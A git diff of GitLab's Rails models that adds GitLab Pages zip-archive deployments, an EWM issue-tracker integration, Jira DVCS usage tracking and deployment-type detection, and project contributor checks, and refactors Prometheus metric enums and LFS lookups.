diff --git a/app/models/packages/pypi/metadatum.rb b/app/models/packages/pypi/metadatum.rb
index 7e6456ad964..2e4d61eaf53 100644
--- a/app/models/packages/pypi/metadatum.rb
+++ b/app/models/packages/pypi/metadatum.rb
@@ -6,6 +6,7 @@ class Packages::Pypi::Metadatum < ApplicationRecord
belongs_to :package, -> { where(package_type: :pypi) }, inverse_of: :pypi_metadatum
validates :package, presence: true
+ validates :required_python, length: { maximum: 255 }, allow_blank: true
validate :pypi_package_type
diff --git a/app/models/pages/lookup_path.rb b/app/models/pages/lookup_path.rb
index 51c496c77d3..84d820e539c 100644
--- a/app/models/pages/lookup_path.rb
+++ b/app/models/pages/lookup_path.rb
@@ -22,10 +22,11 @@ module Pages
end
def source
- {
- type: 'file',
- path: File.join(project.full_path, 'public/')
- }
+ if artifacts_archive && !artifacts_archive.file_storage?
+ zip_source
+ else
+ file_source
+ end
end
def prefix
@@ -39,5 +40,28 @@ module Pages
private
attr_reader :project, :trim_prefix, :domain
+
+ def artifacts_archive
+ return unless Feature.enabled?(:pages_artifacts_archive, project)
+
+ # Using build artifacts is temporary solution for quick test
+ # in production environment, we'll replace this with proper
+ # `pages_deployments` later
+ project.pages_metadatum.artifacts_archive&.file
+ end
+
+ def zip_source
+ {
+ type: 'zip',
+ path: artifacts_archive.url(expire_at: 1.day.from_now)
+ }
+ end
+
+ def file_source
+ {
+ type: 'file',
+ path: File.join(project.full_path, 'public/')
+ }
+ end
end
end
diff --git a/app/models/pages_deployment.rb b/app/models/pages_deployment.rb
new file mode 100644
index 00000000000..78e0f185a11
--- /dev/null
+++ b/app/models/pages_deployment.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+# PagesDeployment stores a zip archive containing GitLab Pages web-site
+class PagesDeployment < ApplicationRecord
+ belongs_to :project, optional: false
+ belongs_to :ci_build, class_name: 'Ci::Build', optional: true
+
+ validates :file, presence: true
+ validates :file_store, presence: true, inclusion: { in: ObjectStorage::SUPPORTED_STORES }
+ validates :size, presence: true, numericality: { greater_than: 0, only_integer: true }
+end
diff --git a/app/models/pages_domain.rb b/app/models/pages_domain.rb
index d071d2d3c89..98db47deaa3 100644
--- a/app/models/pages_domain.rb
+++ b/app/models/pages_domain.rb
@@ -249,11 +249,7 @@ class PagesDomain < ApplicationRecord
return if usage_serverless?
return unless pages_deployed?
- if Feature.enabled?(:async_update_pages_config, project)
- run_after_commit { PagesUpdateConfigurationWorker.perform_async(project_id) }
- else
- Projects::UpdatePagesConfigurationService.new(project).execute
- end
+ run_after_commit { PagesUpdateConfigurationWorker.perform_async(project_id) }
end
# rubocop: enable CodeReuse/ServiceClass
diff --git a/app/models/performance_monitoring/prometheus_dashboard.rb b/app/models/performance_monitoring/prometheus_dashboard.rb
index bf87d2c3916..40d14aaa1de 100644
--- a/app/models/performance_monitoring/prometheus_dashboard.rb
+++ b/app/models/performance_monitoring/prometheus_dashboard.rb
@@ -53,14 +53,23 @@ module PerformanceMonitoring
# This method is planned to be refactored as a part of https://gitlab.com/gitlab-org/gitlab/-/issues/219398
# implementation. For new existing logic was reused to faster deliver MVC
def schema_validation_warnings
+ return run_custom_validation.map(&:message) if Feature.enabled?(:metrics_dashboard_exhaustive_validations, environment&.project)
+
self.class.from_json(reload_schema)
- nil
+ []
+ rescue Gitlab::Metrics::Dashboard::Errors::LayoutError => error
+ [error.message]
rescue ActiveModel::ValidationError => exception
exception.model.errors.map { |attr, error| "#{attr}: #{error}" }
end
private
+ def run_custom_validation
+ Gitlab::Metrics::Dashboard::Validator
+ .errors(reload_schema, dashboard_path: path, project: environment&.project)
+ end
+
# dashboard finder methods are somehow limited, #find includes checking if
# user is authorised to view selected dashboard, but modifies schema, which in some cases may
# cause false positives returned from validation, and #find_raw does not authorise users
diff --git a/app/models/product_analytics_event.rb b/app/models/product_analytics_event.rb
index 579ea88c272..d2026d3b333 100644
--- a/app/models/product_analytics_event.rb
+++ b/app/models/product_analytics_event.rb
@@ -20,10 +20,19 @@ class ProductAnalyticsEvent < ApplicationRecord
where('collector_tstamp BETWEEN ? AND ? ', today - duration + 1, today + 1)
}
+ scope :by_category_and_action, ->(category, action) { where(se_category: category, se_action: action) }
+
def self.count_by_graph(graph, days)
group(graph).timerange(days).count
end
+ def self.count_collector_tstamp_by_day(days)
+ group("DATE_TRUNC('day', collector_tstamp)")
+ .reorder('date_trunc_day_collector_tstamp')
+ .timerange(days)
+ .count
+ end
+
def as_json_wo_empty
as_json.compact
end
diff --git a/app/models/project.rb b/app/models/project.rb
index e1b6a9c41dd..4db0eaa0442 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -3,7 +3,6 @@
require 'carrierwave/orm/activerecord'
class Project < ApplicationRecord
- extend ::Gitlab::Utils::Override
include Gitlab::ConfigHelper
include Gitlab::VisibilityLevel
include AccessRequestable
@@ -147,6 +146,7 @@ class Project < ApplicationRecord
has_one :discord_service
has_one :drone_ci_service
has_one :emails_on_push_service
+ has_one :ewm_service
has_one :pipelines_email_service
has_one :irker_service
has_one :pivotaltracker_service
@@ -245,7 +245,6 @@ class Project < ApplicationRecord
has_many :lfs_file_locks
has_many :project_group_links
has_many :invited_groups, through: :project_group_links, source: :group
- has_many :pages_domains
has_many :todos
has_many :notification_settings, as: :source, dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
@@ -254,6 +253,7 @@ class Project < ApplicationRecord
has_one :import_data, class_name: 'ProjectImportData', inverse_of: :project, autosave: true
has_one :project_feature, inverse_of: :project
has_one :statistics, class_name: 'ProjectStatistics'
+ has_one :feature_usage, class_name: 'ProjectFeatureUsage'
has_one :cluster_project, class_name: 'Clusters::Project'
has_many :clusters, through: :cluster_project, class_name: 'Clusters::Cluster'
@@ -279,10 +279,9 @@ class Project < ApplicationRecord
# The relation :all_pipelines is intended to be used when we want to get the
# whole list of pipelines associated to the project
has_many :all_pipelines, class_name: 'Ci::Pipeline', inverse_of: :project
- # The relation :ci_pipelines is intended to be used when we want to get only
- # those pipeline which are directly related to CI. There are
- # other pipelines, like webide ones, that we won't retrieve
- # if we use this relation.
+ # The relation :ci_pipelines includes all those that directly contribute to the
+ # latest status of a ref. This does not include dangling pipelines such as those
+ # from webide, child pipelines, etc.
has_many :ci_pipelines,
-> { ci_sources },
class_name: 'Ci::Pipeline',
@@ -327,8 +326,6 @@ class Project < ApplicationRecord
has_many :sourced_pipelines, class_name: 'Ci::Sources::Pipeline', foreign_key: :source_project_id
has_many :source_pipelines, class_name: 'Ci::Sources::Pipeline', foreign_key: :project_id
- has_one :pages_metadatum, class_name: 'ProjectPagesMetadatum', inverse_of: :project
-
has_many :import_failures, inverse_of: :project
has_many :jira_imports, -> { order 'jira_imports.created_at' }, class_name: 'JiraImportState', inverse_of: :project
@@ -339,10 +336,19 @@ class Project < ApplicationRecord
has_many :webide_pipelines, -> { webide_source }, class_name: 'Ci::Pipeline', inverse_of: :project
has_many :reviews, inverse_of: :project
+ # GitLab Pages
+ has_many :pages_domains
+ has_one :pages_metadatum, class_name: 'ProjectPagesMetadatum', inverse_of: :project
+ has_many :pages_deployments
+
# Can be too many records. We need to implement delete_all in batches.
# Issue https://gitlab.com/gitlab-org/gitlab/-/issues/228637
has_many :product_analytics_events, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+ has_many :operations_feature_flags, class_name: 'Operations::FeatureFlag'
+ has_one :operations_feature_flags_client, class_name: 'Operations::FeatureFlagsClient'
+ has_many :operations_feature_flags_user_lists, class_name: 'Operations::FeatureFlags::UserList'
+
accepts_nested_attributes_for :variables, allow_destroy: true
accepts_nested_attributes_for :project_feature, update_only: true
accepts_nested_attributes_for :project_setting, update_only: true
@@ -393,6 +399,8 @@ class Project < ApplicationRecord
to: :project_setting
delegate :active?, to: :prometheus_service, allow_nil: true, prefix: true
+ delegate :log_jira_dvcs_integration_usage, :jira_dvcs_server_last_sync_at, :jira_dvcs_cloud_last_sync_at, to: :feature_usage
+
# Validations
validates :creator, presence: true, on: :create
validates :description, length: { maximum: 2000 }, allow_blank: true
@@ -454,14 +462,17 @@ class Project < ApplicationRecord
# Sometimes queries (e.g. using CTEs) require explicit disambiguation with table name
scope :projects_order_id_desc, -> { reorder(self.arel_table['id'].desc) }
- scope :sorted_by_similarity_desc, -> (search) do
+ scope :sorted_by_similarity_desc, -> (search, include_in_select: false) do
order_expression = Gitlab::Database::SimilarityScore.build_expression(search: search, rules: [
{ column: arel_table["path"], multiplier: 1 },
{ column: arel_table["name"], multiplier: 0.7 },
{ column: arel_table["description"], multiplier: 0.2 }
])
- reorder(order_expression.desc, arel_table['id'].desc)
+ query = reorder(order_expression.desc, arel_table['id'].desc)
+
+ query = query.select(*query.arel.projections, order_expression.as('similarity')) if include_in_select
+ query
end
scope :with_packages, -> { joins(:packages) }
@@ -476,6 +487,9 @@ class Project < ApplicationRecord
scope :for_milestones, ->(ids) { joins(:milestones).where('milestones.id' => ids).distinct }
scope :with_push, -> { joins(:events).merge(Event.pushed_action) }
scope :with_project_feature, -> { joins('LEFT JOIN project_features ON projects.id = project_features.project_id') }
+ scope :with_active_jira_services, -> { joins(:services).merge(::JiraService.active) } # rubocop:disable CodeReuse/ServiceClass
+ scope :with_jira_dvcs_cloud, -> { joins(:feature_usage).merge(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: true)) }
+ scope :with_jira_dvcs_server, -> { joins(:feature_usage).merge(ProjectFeatureUsage.with_jira_dvcs_integration_enabled(cloud: false)) }
scope :inc_routes, -> { includes(:route, namespace: :route) }
scope :with_statistics, -> { includes(:statistics) }
scope :with_namespace, -> { includes(:namespace) }
@@ -545,6 +559,8 @@ class Project < ApplicationRecord
preload(:project_feature, :route, namespace: [:route, :owner])
}
+ scope :imported_from, -> (type) { where(import_type: type) }
+
enum auto_cancel_pending_pipelines: { disabled: 0, enabled: 1 }
chronic_duration_attr :build_timeout_human_readable, :build_timeout,
@@ -882,12 +898,12 @@ class Project < ApplicationRecord
end
def repository
- @repository ||= Repository.new(full_path, self, shard: repository_storage, disk_path: disk_path)
+ @repository ||= Gitlab::GlRepository::PROJECT.repository_for(self)
end
def design_repository
strong_memoize(:design_repository) do
- DesignManagement::Repository.new(self)
+ Gitlab::GlRepository::DESIGN.repository_for(self)
end
end
@@ -942,13 +958,12 @@ class Project < ApplicationRecord
latest_successful_build_for_ref(job_name, ref) || raise(ActiveRecord::RecordNotFound.new("Couldn't find job #{job_name}"))
end
- def latest_pipeline_for_ref(ref = default_branch)
+ def latest_pipeline(ref = default_branch, sha = nil)
ref = ref.presence || default_branch
- sha = commit(ref)&.sha
-
+ sha ||= commit(ref)&.sha
return unless sha
- ci_pipelines.newest_first(ref: ref, sha: sha).first
+ ci_pipelines.newest_first(ref: ref, sha: sha).take
end
def merge_base_commit(first_commit_id, second_commit_id)
@@ -1442,6 +1457,10 @@ class Project < ApplicationRecord
http_url_to_repo
end
+ def feature_usage
+ super.presence || build_feature_usage
+ end
+
def forked?
fork_network && fork_network.root_project != self
end
@@ -1452,44 +1471,10 @@ class Project < ApplicationRecord
forked_from_project || fork_network&.root_project
end
- # TODO: Remove this method once all LfsObjectsProject records are backfilled
- # for forks.
- #
- # See https://gitlab.com/gitlab-org/gitlab/issues/122002 for more info.
- def lfs_storage_project
- @lfs_storage_project ||= begin
- result = self
-
- # TODO: Make this go to the fork_network root immediately
- # dependant on the discussion in: https://gitlab.com/gitlab-org/gitlab-foss/issues/39769
- result = result.fork_source while result&.forked?
-
- result || self
- end
- end
-
- # This will return all `lfs_objects` that are accessible to the project and
- # the fork source. This is needed since older forks won't have access to some
- # LFS objects directly and have to get it from the fork source.
- #
- # TODO: Remove this method once all LfsObjectsProject records are backfilled
- # for forks. At that point, projects can look at their own `lfs_objects`.
- #
- # See https://gitlab.com/gitlab-org/gitlab/issues/122002 for more info.
- def all_lfs_objects
+ def lfs_objects_for_repository_types(*types)
LfsObject
- .distinct
.joins(:lfs_objects_projects)
- .where(lfs_objects_projects: { project_id: [self, lfs_storage_project] })
- end
-
- # TODO: Remove this method once all LfsObjectsProject records are backfilled
- # for forks. At that point, projects can look at their own `lfs_objects` so
- # `lfs_objects_oids` can be used instead.
- #
- # See https://gitlab.com/gitlab-org/gitlab/issues/122002 for more info.
- def all_lfs_objects_oids(oids: [])
- oids(all_lfs_objects, oids: oids)
+ .where(lfs_objects_projects: { project: self, repository_type: types })
end
def lfs_objects_oids(oids: [])
@@ -1653,21 +1638,6 @@ class Project < ApplicationRecord
!namespace.share_with_group_lock
end
- def pipeline_for(ref, sha = nil, id = nil)
- sha ||= commit(ref).try(:sha)
- return unless sha
-
- if id.present?
- pipelines_for(ref, sha).find_by(id: id)
- else
- pipelines_for(ref, sha).take
- end
- end
-
- def pipelines_for(ref, sha)
- ci_pipelines.order(id: :desc).where(sha: sha, ref: ref)
- end
-
def latest_successful_pipeline_for_default_branch
if defined?(@latest_successful_pipeline_for_default_branch)
return @latest_successful_pipeline_for_default_branch
@@ -1826,12 +1796,12 @@ class Project < ApplicationRecord
end
# rubocop: enable CodeReuse/ServiceClass
- def mark_pages_as_deployed
- ensure_pages_metadatum.update!(deployed: true)
+ def mark_pages_as_deployed(artifacts_archive: nil)
+ ensure_pages_metadatum.update!(deployed: true, artifacts_archive: artifacts_archive)
end
def mark_pages_as_not_deployed
- ensure_pages_metadatum.update!(deployed: false)
+ ensure_pages_metadatum.update!(deployed: false, artifacts_archive: nil)
end
def write_repository_config(gl_full_path: full_path)
@@ -2140,8 +2110,8 @@ class Project < ApplicationRecord
data = repository.route_map_for(sha)
Gitlab::RouteMap.new(data) if data
- rescue Gitlab::RouteMap::FormatError
- nil
+ rescue Gitlab::RouteMap::FormatError
+ nil
end
end
@@ -2424,6 +2394,10 @@ class Project < ApplicationRecord
false
end
+ def jira_subscription_exists?
+ JiraConnectSubscription.for_project(self).exists?
+ end
+
def uses_default_ci_config?
ci_config_path.blank? || ci_config_path == Gitlab::FileDetector::PATTERNS[:gitlab_ci]
end
@@ -2464,11 +2438,6 @@ class Project < ApplicationRecord
jira_imports.last
end
- override :after_wiki_activity
- def after_wiki_activity
- touch(:last_activity_at, :last_repository_updated_at)
- end
-
def metrics_setting
super || build_metrics_setting
end
@@ -2518,6 +2487,20 @@ class Project < ApplicationRecord
.exists?
end
+ def default_branch_or_master
+ default_branch || 'master'
+ end
+
+ def ci_config_path_or_default
+ ci_config_path.presence || Ci::Pipeline::DEFAULT_CONFIG_PATH
+ end
+
+ def enabled_group_deploy_keys
+ return GroupDeployKey.none unless group
+
+ GroupDeployKey.for_groups(group.self_and_ancestors_ids)
+ end
+
private
def find_service(services, name)
@@ -2533,11 +2516,11 @@ class Project < ApplicationRecord
end
def services_templates
- @services_templates ||= Service.templates
+ @services_templates ||= Service.for_template
end
def services_instances
- @services_instances ||= Service.instances
+ @services_instances ||= Service.for_instance
end
def closest_namespace_setting(name)
@@ -2678,9 +2661,11 @@ class Project < ApplicationRecord
end
def oids(objects, oids: [])
- collection = oids.any? ? objects.where(oid: oids) : objects
+ objects = objects.where(oid: oids) if oids.any?
- collection.pluck(:oid)
+ [].tap do |out|
+ objects.each_batch { |relation| out.concat(relation.pluck(:oid)) }
+ end
end
end
diff --git a/app/models/project_feature_usage.rb b/app/models/project_feature_usage.rb
new file mode 100644
index 00000000000..b167c2e371b
--- /dev/null
+++ b/app/models/project_feature_usage.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class ProjectFeatureUsage < ApplicationRecord
+ self.primary_key = :project_id
+
+ JIRA_DVCS_CLOUD_FIELD = 'jira_dvcs_cloud_last_sync_at'.freeze
+ JIRA_DVCS_SERVER_FIELD = 'jira_dvcs_server_last_sync_at'.freeze
+
+ belongs_to :project
+ validates :project, presence: true
+
+ scope :with_jira_dvcs_integration_enabled, -> (cloud: true) do
+ where.not(jira_dvcs_integration_field(cloud: cloud) => nil)
+ end
+
+ class << self
+ def jira_dvcs_integration_field(cloud: true)
+ cloud ? JIRA_DVCS_CLOUD_FIELD : JIRA_DVCS_SERVER_FIELD
+ end
+ end
+
+ def log_jira_dvcs_integration_usage(cloud: true)
+ transaction(requires_new: true) do
+ save unless persisted?
+ touch(self.class.jira_dvcs_integration_field(cloud: cloud))
+ end
+ rescue ActiveRecord::RecordNotUnique
+ reset
+ retry
+ end
+end
diff --git a/app/models/project_pages_metadatum.rb b/app/models/project_pages_metadatum.rb
index 1fda388b1ae..8a1db4a9acf 100644
--- a/app/models/project_pages_metadatum.rb
+++ b/app/models/project_pages_metadatum.rb
@@ -4,6 +4,7 @@ class ProjectPagesMetadatum < ApplicationRecord
self.primary_key = :project_id
belongs_to :project, inverse_of: :pages_metadatum
+ belongs_to :artifacts_archive, class_name: 'Ci::JobArtifact'
scope :deployed, -> { where(deployed: true) }
end
diff --git a/app/models/project_services/chat_message/merge_message.rb b/app/models/project_services/chat_message/merge_message.rb
index c4fcdff8386..b9916a54d75 100644
--- a/app/models/project_services/chat_message/merge_message.rb
+++ b/app/models/project_services/chat_message/merge_message.rb
@@ -5,6 +5,7 @@ module ChatMessage
attr_reader :merge_request_iid
attr_reader :source_branch
attr_reader :target_branch
+ attr_reader :action
attr_reader :state
attr_reader :title
@@ -16,6 +17,7 @@ module ChatMessage
@merge_request_iid = obj_attr[:iid]
@source_branch = obj_attr[:source_branch]
@target_branch = obj_attr[:target_branch]
+ @action = obj_attr[:action]
@state = obj_attr[:state]
@title = format_title(obj_attr[:title])
end
@@ -63,11 +65,17 @@ module ChatMessage
"#{project_url}/-/merge_requests/#{merge_request_iid}"
end
- # overridden in EE
def state_or_action_text
- state
+ case action
+ when 'approved', 'unapproved'
+ action
+ when 'approval'
+ 'added their approval to'
+ when 'unapproval'
+ 'removed their approval from'
+ else
+ state
+ end
end
end
end
-
-ChatMessage::MergeMessage.prepend_if_ee('::EE::ChatMessage::MergeMessage')
diff --git a/app/models/project_services/ewm_service.rb b/app/models/project_services/ewm_service.rb
new file mode 100644
index 00000000000..af402e50292
--- /dev/null
+++ b/app/models/project_services/ewm_service.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class EwmService < IssueTrackerService
+ validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
+
+ def self.reference_pattern(only_long: true)
+ @reference_pattern ||= %r{(?<issue>\b(bug|task|work item|workitem|rtcwi|defect)\b\s+\d+)}i
+ end
+
+ def title
+ 'EWM'
+ end
+
+ def description
+ s_('IssueTracker|EWM work items tracker')
+ end
+
+ def self.to_param
+ 'ewm'
+ end
+
+ def can_test?
+ false
+ end
+
+ def issue_url(iid)
+ issues_url.gsub(':id', iid.to_s.split(' ')[-1])
+ end
+end
diff --git a/app/models/project_services/jira_service.rb b/app/models/project_services/jira_service.rb
index 36d7026de30..732da62863f 100644
--- a/app/models/project_services/jira_service.rb
+++ b/app/models/project_services/jira_service.rb
@@ -5,6 +5,7 @@ class JiraService < IssueTrackerService
include Gitlab::Routing
include ApplicationHelper
include ActionView::Helpers::AssetUrlHelper
+ include Gitlab::Utils::StrongMemoize
PROJECTS_PER_PAGE = 50
@@ -32,6 +33,7 @@ class JiraService < IssueTrackerService
data_field :username, :password, :url, :api_url, :jira_issue_transition_id, :project_key, :issues_enabled
before_update :reset_password
+ after_commit :update_deployment_type, on: [:create, :update], if: :update_deployment_type?
enum comment_detail: {
standard: 1,
@@ -212,7 +214,7 @@ class JiraService < IssueTrackerService
end
def test(_)
- result = test_settings
+ result = server_info
success = result.present?
result = @error&.message unless success
@@ -231,10 +233,10 @@ class JiraService < IssueTrackerService
private
- def test_settings
- return unless client_url.present?
-
- jira_request { client.ServerInfo.all.attrs }
+ def server_info
+ strong_memoize(:server_info) do
+ client_url.present? ? jira_request { client.ServerInfo.all.attrs } : nil
+ end
end
def can_cross_reference?(noteable)
@@ -436,6 +438,26 @@ class JiraService < IssueTrackerService
url_changed?
end
+ def update_deployment_type?
+ (api_url_changed? || url_changed? || username_changed? || password_changed?) &&
+ can_test?
+ end
+
+ def update_deployment_type
+ clear_memoization(:server_info) # ensure we run the request when we try to update deployment type
+ results = server_info
+ return data_fields.deployment_unknown! unless results.present?
+
+ case results['deploymentType']
+ when 'Server'
+ data_fields.deployment_server!
+ when 'Cloud'
+ data_fields.deployment_cloud!
+ else
+ data_fields.deployment_unknown!
+ end
+ end
+
def self.event_description(event)
case event
when "merge_request", "merge_request_events"
diff --git a/app/models/project_services/prometheus_service.rb b/app/models/project_services/prometheus_service.rb
index 950cd4f6859..d0e62a1afba 100644
--- a/app/models/project_services/prometheus_service.rb
+++ b/app/models/project_services/prometheus_service.rb
@@ -97,13 +97,9 @@ class PrometheusService < MonitoringService
def prometheus_client
return unless should_return_client?
- options = {
- allow_local_requests: allow_local_api_url?,
- # We should choose more conservative timeouts, but some queries we run are now busting our
- # default timeouts, which are stricter. We should make those queries faster instead.
- # See https://gitlab.com/gitlab-org/gitlab/-/issues/233109
- timeout: 60
- }
+ options = prometheus_client_default_options.merge(
+ allow_local_requests: allow_local_api_url?
+ )
if behind_iap?
# Adds the Authorization header
diff --git a/app/models/project_statistics.rb b/app/models/project_statistics.rb
index f153bfe3f5b..67ab2c0ce8a 100644
--- a/app/models/project_statistics.rb
+++ b/app/models/project_statistics.rb
@@ -12,13 +12,17 @@ class ProjectStatistics < ApplicationRecord
before_save :update_storage_size
COLUMNS_TO_REFRESH = [:repository_size, :wiki_size, :lfs_objects_size, :commit_count, :snippets_size].freeze
- INCREMENTABLE_COLUMNS = { build_artifacts_size: %i[storage_size], packages_size: %i[storage_size], snippets_size: %i[storage_size] }.freeze
+ INCREMENTABLE_COLUMNS = {
+ build_artifacts_size: %i[storage_size],
+ packages_size: %i[storage_size],
+ pipeline_artifacts_size: %i[storage_size],
+ snippets_size: %i[storage_size]
+ }.freeze
NAMESPACE_RELATABLE_COLUMNS = [:repository_size, :wiki_size, :lfs_objects_size].freeze
scope :for_project_ids, ->(project_ids) { where(project_id: project_ids) }
scope :for_namespaces, -> (namespaces) { where(namespace: namespaces) }
- scope :with_any_ci_minutes_used, -> { where.not(shared_runners_seconds: 0) }
def total_repository_size
repository_size + lfs_objects_size
@@ -80,6 +84,10 @@ class ProjectStatistics < ApplicationRecord
# might try to update project statistics before the `snippets_size` column has been created.
storage_size += snippets_size if self.class.column_names.include?('snippets_size')
+ # The `pipeline_artifacts_size` column was added on 20200817142800 but db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb
+ # might try to update project statistics before the `pipeline_artifacts_size` column has been created.
+ storage_size += pipeline_artifacts_size if self.class.column_names.include?('pipeline_artifacts_size')
+
self.storage_size = storage_size
end
diff --git a/app/models/project_team.rb b/app/models/project_team.rb
index 072d281e5f8..5b7eded00cd 100644
--- a/app/models/project_team.rb
+++ b/app/models/project_team.rb
@@ -178,6 +178,40 @@ class ProjectTeam
max_member_access_for_user_ids([user_id])[user_id]
end
+ def contribution_check_for_user_ids(user_ids)
+ user_ids = user_ids.uniq
+ key = "contribution_check_for_users:#{project.id}"
+
+ Gitlab::SafeRequestStore[key] ||= {}
+ contributors = Gitlab::SafeRequestStore[key] || {}
+
+ user_ids -= contributors.keys
+
+ return contributors if user_ids.empty?
+
+ resource_contributors = project.merge_requests
+ .merged
+ .where(author_id: user_ids, target_branch: project.default_branch.to_s)
+ .pluck(:author_id)
+ .product([true]).to_h
+
+ contributors.merge!(resource_contributors)
+
+ missing_resource_ids = user_ids - resource_contributors.keys
+
+ missing_resource_ids.each do |resource_id|
+ contributors[resource_id] = false
+ end
+
+ contributors
+ end
+
+ def contributor?(user_id)
+ return false if max_member_access(user_id) >= Gitlab::Access::GUEST
+
+ contribution_check_for_user_ids([user_id])[user_id]
+ end
+
private
def fetch_members(level = nil)
diff --git a/app/models/project_wiki.rb b/app/models/project_wiki.rb
index 5df0a33dc9a..bd570cf7ead 100644
--- a/app/models/project_wiki.rb
+++ b/app/models/project_wiki.rb
@@ -10,6 +10,23 @@ class ProjectWiki < Wiki
def disk_path(*args, &block)
container.disk_path + '.wiki'
end
+
+ override :after_wiki_activity
+ def after_wiki_activity
+ # Update activity columns, this is done synchronously to avoid
+ # replication delays in Geo.
+ project.touch(:last_activity_at, :last_repository_updated_at)
+ end
+
+ override :after_post_receive
+ def after_post_receive
+ # Update storage statistics
+ ProjectCacheWorker.perform_async(project.id, [], [:wiki_size])
+
+ # This call is repeated for post-receive, to make sure we're updating
+ # the activity columns for Git pushes as well.
+ after_wiki_activity
+ end
end
# TODO: Remove this once we implement ES support for group wikis.
diff --git a/app/models/prometheus_metric.rb b/app/models/prometheus_metric.rb
index bfd23d2a334..9ddf66cd388 100644
--- a/app/models/prometheus_metric.rb
+++ b/app/models/prometheus_metric.rb
@@ -4,7 +4,7 @@ class PrometheusMetric < ApplicationRecord
belongs_to :project, validate: true, inverse_of: :prometheus_metrics
has_many :prometheus_alerts, inverse_of: :prometheus_metric
- enum group: PrometheusMetricEnums.groups
+ enum group: Enums::PrometheusMetric.groups
validates :title, presence: true
validates :query, presence: true
@@ -16,11 +16,13 @@ class PrometheusMetric < ApplicationRecord
validates :project, presence: true, unless: :common?
validates :project, absence: true, if: :common?
+ scope :for_dashboard_path, -> (dashboard_path) { where(dashboard_path: dashboard_path) }
scope :for_project, -> (project) { where(project: project) }
scope :for_group, -> (group) { where(group: group) }
scope :for_title, -> (title) { where(title: title) }
scope :for_y_label, -> (y_label) { where(y_label: y_label) }
scope :for_identifier, -> (identifier) { where(identifier: identifier) }
+ scope :not_identifier, -> (identifier) { where.not(identifier: identifier) }
scope :common, -> { where(common: true) }
scope :ordered, -> { reorder(created_at: :asc) }
@@ -72,6 +74,6 @@ class PrometheusMetric < ApplicationRecord
private
def group_details(group)
- PrometheusMetricEnums.group_details.fetch(group.to_sym)
+ Enums::PrometheusMetric.group_details.fetch(group.to_sym)
end
end
diff --git a/app/models/prometheus_metric_enums.rb b/app/models/prometheus_metric_enums.rb
deleted file mode 100644
index 75a34618e2c..00000000000
--- a/app/models/prometheus_metric_enums.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-# frozen_string_literal: true
-
-module PrometheusMetricEnums
- def self.groups
- {
- # built-in groups
- nginx_ingress_vts: -1,
- ha_proxy: -2,
- aws_elb: -3,
- nginx: -4,
- kubernetes: -5,
- nginx_ingress: -6,
- cluster_health: -100
- }.merge(custom_groups).freeze
- end
-
- # custom/user groups
- def self.custom_groups
- {
- business: 0,
- response: 1,
- system: 2
- }.freeze
- end
-
- def self.group_details
- {
- # built-in groups
- nginx_ingress_vts: {
- group_title: _('Response metrics (NGINX Ingress VTS)'),
- required_metrics: %w(nginx_upstream_responses_total nginx_upstream_response_msecs_avg),
- priority: 10
- }.freeze,
- nginx_ingress: {
- group_title: _('Response metrics (NGINX Ingress)'),
- required_metrics: %w(nginx_ingress_controller_requests nginx_ingress_controller_ingress_upstream_latency_seconds_sum),
- priority: 10
- }.freeze,
- ha_proxy: {
- group_title: _('Response metrics (HA Proxy)'),
- required_metrics: %w(haproxy_frontend_http_requests_total haproxy_frontend_http_responses_total),
- priority: 10
- }.freeze,
- aws_elb: {
- group_title: _('Response metrics (AWS ELB)'),
- required_metrics: %w(aws_elb_request_count_sum aws_elb_latency_average aws_elb_httpcode_backend_5_xx_sum),
- priority: 10
- }.freeze,
- nginx: {
- group_title: _('Response metrics (NGINX)'),
- required_metrics: %w(nginx_server_requests nginx_server_requestMsec),
- priority: 10
- }.freeze,
- kubernetes: {
- group_title: _('System metrics (Kubernetes)'),
- required_metrics: %w(container_memory_usage_bytes container_cpu_usage_seconds_total),
- priority: 5
- }.freeze,
- cluster_health: {
- group_title: _('Cluster Health'),
- required_metrics: %w(container_memory_usage_bytes container_cpu_usage_seconds_total),
- priority: 10
- }.freeze
- }.merge(custom_group_details).freeze
- end
-
- # custom/user groups
- def self.custom_group_details
- {
- business: {
- group_title: _('Business metrics (Custom)'),
- priority: 0
- }.freeze,
- response: {
- group_title: _('Response metrics (Custom)'),
- priority: -5
- }.freeze,
- system: {
- group_title: _('System metrics (Custom)'),
- priority: -10
- }.freeze
- }.freeze
- end
-end
diff --git a/app/models/protected_branch.rb b/app/models/protected_branch.rb
index 594c822c18f..599c174ddd7 100644
--- a/app/models/protected_branch.rb
+++ b/app/models/protected_branch.rb
@@ -38,9 +38,9 @@ class ProtectedBranch < ApplicationRecord
project.protected_branches
end
+ # overridden in EE
def self.branch_requires_code_owner_approval?(project, branch_name)
- # NOOP
- #
+ false
end
def self.by_name(query)
diff --git a/app/models/remote_mirror.rb b/app/models/remote_mirror.rb
index 8b15d481c1b..6b8b34ce4d2 100644
--- a/app/models/remote_mirror.rb
+++ b/app/models/remote_mirror.rb
@@ -210,6 +210,10 @@ class RemoteMirror < ApplicationRecord
super(usernames_whitelist: %w[git])
end
+ def bare_url
+ Gitlab::UrlSanitizer.new(read_attribute(:url)).full_url
+ end
+
def ensure_remote!
return unless project
return unless remote_name && remote_url
diff --git a/app/models/repository.rb b/app/models/repository.rb
index 07122db36b3..ef17e010ba8 100644
--- a/app/models/repository.rb
+++ b/app/models/repository.rb
@@ -214,7 +214,7 @@ class Repository
return false if with_slash.empty?
prefixes = no_slash.map { |ref| Regexp.escape(ref) }.join('|')
- prefix_regex = %r{^#{prefixes}/}
+ prefix_regex = %r{^(#{prefixes})/}
with_slash.any? do |ref|
prefix_regex.match?(ref)
diff --git a/app/models/resource_iteration_event.rb b/app/models/resource_iteration_event.rb
deleted file mode 100644
index 78d85ea8b95..00000000000
--- a/app/models/resource_iteration_event.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-# frozen_string_literal: true
-
-class ResourceIterationEvent < ResourceTimeboxEvent
- belongs_to :iteration
-end
